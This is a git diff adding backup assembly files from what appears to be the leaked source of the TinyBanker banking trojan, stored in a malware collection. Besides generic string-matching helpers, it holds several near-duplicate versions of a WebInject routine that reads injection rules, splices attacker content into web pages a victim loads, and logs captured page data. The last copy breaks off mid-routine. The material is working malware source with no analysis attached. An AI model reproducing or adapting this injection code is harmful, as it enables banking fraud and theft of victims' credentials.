b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc new file mode 100644 index 0000000..01304a5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc @@ -0,0 +1,153 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIMaskMatch - compare string with mask ;; +;; - "#" - any 1 digit, ;; +;; - "?" - any 1 symbol, ;; +;; - "*" - any group of symbols or no symbols at all ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpStrMask - pointer to mask ;; +;; __in nStrMaskLen - len of mask ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +StrIMaskMatch1 proc uses ecx ebx edx esi edi lpString, nStringLen, lpStrMask, nStrMaskLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nStrMaskLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString + mov ebx, nStringLen + add ebx, esi + dec ebx ;; lpSrting last symbol ptr + + mov edi, lpStrMask + mov ecx, nStrMaskLen + add ecx, edi + dec ecx ;; lpStrMask last symbol ptr + + xor edx, edx ;; Group start ptr + + jmp @F ;; Start compare + + +@next: + cmp ebx, esi + je @finish ;; If last symbol in lpSrting + cmp ecx, edi + je @finish ;; If last symbol in lpStrMask + + inc esi + inc edi + + + ;; Compare +@@: mov al, [edi] ;; Symbol from mask + + +;; ================================================== ;; + ;; Any single symbol (just skip it) + cmp al, "?" + je @next + + +;; ================================================== ;; + ;; Any single digit or actual # symbol + cmp al, "#" + jne @F + + cmp al, [esi] + je @next + + mov al, [esi] + + cmp al, "0" + jb @notmatch + cmp al, "9" + ja @notmatch + + jmp @next + + +;; ================================================== ;; + ;; Any group of symbols +@@: cmp al, "*" + jne @F + + cmp ecx, edi + je @ret ;; if end of lpStrMask + + mov edx, edi ;; save start of group + dec esi + jmp @next + + + ;; Case insensitive symbol compare +@@: cmp al, [esi] + je @next + + cmp al, "z" + ja @notmatch + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [esi] + je @next + jmp @notmatch + +@cmpupper: + cmp al, "Z" + ja @notmatch + cmp al, "A" + jb @notmatch + + add al, 32 + cmp al, [esi] + je @next + + + ;; Symbol not match, check if group state +@notmatch: + test edx, edx + jz @finish + + add esi, edx + sub esi, edi + inc esi + + mov edi, edx + jmp @next + + +;; ================================================== ;; + ;; Finish +@finish: + xor eax, eax + cmp ebx, esi + jne @ret ;; if not end of lpSrting + + + mov al, "*" +@@: cmp ecx, edi + je @ret ;; if end of lpStrMask + + ;; Last * in lpStrMask + inc edi + cmp al, [edi] + je @B + xor eax, eax + + +@ret: + ret +StrIMaskMatch1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc new file mode 100644 index 0000000..4e02f92 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc @@ -0,0 +1,153 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIMaskMatch - compare string with mask ;; +;; - "#" - any 1 digit, ;; +;; - "?" - any 1 symbol, ;; +;; - "*" - any group of symbols or no symbols at all ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpStrMask - pointer to mask ;; +;; __in nStrMaskLen - len of mask ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +StrIMaskMatch proc uses ecx ebx edx esi edi lpString, nStringLen, lpStrMask, nStrMaskLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nStrMaskLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString + mov ebx, nStringLen + add ebx, esi + dec ebx ;; lpSrting last symbol ptr + + mov edi, lpStrMask + mov ecx, nStrMaskLen + add ecx, edi + dec ecx ;; lpStrMask last symbol ptr + + xor edx, edx ;; Group start ptr + + jmp @F ;; Start compare + + +@next: + cmp ebx, esi + je @finish ;; If last symbol in lpSrting + cmp ecx, edi + je @finish ;; If last symbol in lpStrMask + + inc esi + inc edi + + + ;; Compare +@@: mov al, [edi] ;; Symbol from mask + + +;; ================================================== ;; + ;; Any single symbol (just skip it) + cmp al, "?" + je @next + + +;; ================================================== ;; + ;; Any single digit or actual # symbol + cmp al, "#" + jne @F + + cmp al, [esi] + je @next + + mov al, [esi] + + cmp al, "0" + jb @notmatch + cmp al, "9" + ja @notmatch + + jmp @next + + +;; ================================================== ;; + ;; Any group of symbols +@@: cmp al, "*" + jne @F + + cmp ecx, edi + je @ret ;; if end of lpStrMask + + mov edx, edi ;; save start of group + dec esi + jmp @next + + + ;; Case insensitive symbol compare +@@: cmp al, [esi] + je @next + + cmp al, "z" + ja @notmatch + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [esi] + je @next + jmp @notmatch + +@cmpupper: + cmp al, "Z" + ja @notmatch + cmp al, "A" + jb @notmatch + + add al, 32 + cmp al, [esi] + je @next + + + ;; Symbol not match, check if group state +@notmatch: + test edx, edx + jz @finish + + add esi, edx + sub esi, edi + inc esi + + mov edi, edx + jmp @next + + +;; ================================================== ;; + ;; Finish +@finish: + xor eax, eax + cmp ebx, esi + jne @ret ;; if not end of lpSrting + + + mov al, "*" +@@: cmp ecx, edi + je @ret ;; if end of lpStrMask + + ;; Last * in lpStrMask + inc edi + cmp al, [edi] + je @B + xor eax, eax + + +@ret: + ret +StrIMaskMatch endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc new file mode 100644 index 0000000..077e591 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPosEx - case insensitive search first entry of substring in string ;; +;; - whitespaces insensitive ;; +;; - <'> equals <"> ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to start of founded substring ;; +;; ecx - pointer to end of founded substring ;; +;; ==================================================================================================== ;; +StrIPosEx1 proc uses ebx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPosEx1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc new file mode 100644 index 0000000..747cc11 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPosEx - case insensitive search first entry of substring in string ;; +;; - whitespaces insensitive ;; +;; - <'> equals <"> ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to start of founded substring ;; +;; ecx - pointer to end of founded substring ;; +;; ==================================================================================================== ;; +StrIPosEx proc uses ebx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPosEx endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc new file mode 100644 index 0000000..5bd5154 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 13 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 13 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\ndata_after\n", 12 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 12 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc new file mode 100644 index 0000000..b1b92c8 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 13 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 13 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\ndata_after\n", 12 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 12 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc new file mode 100644 index 0000000..4bffc8a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc new file mode 100644 index 0000000..8a32939 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\r\ndata_inject\r\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi 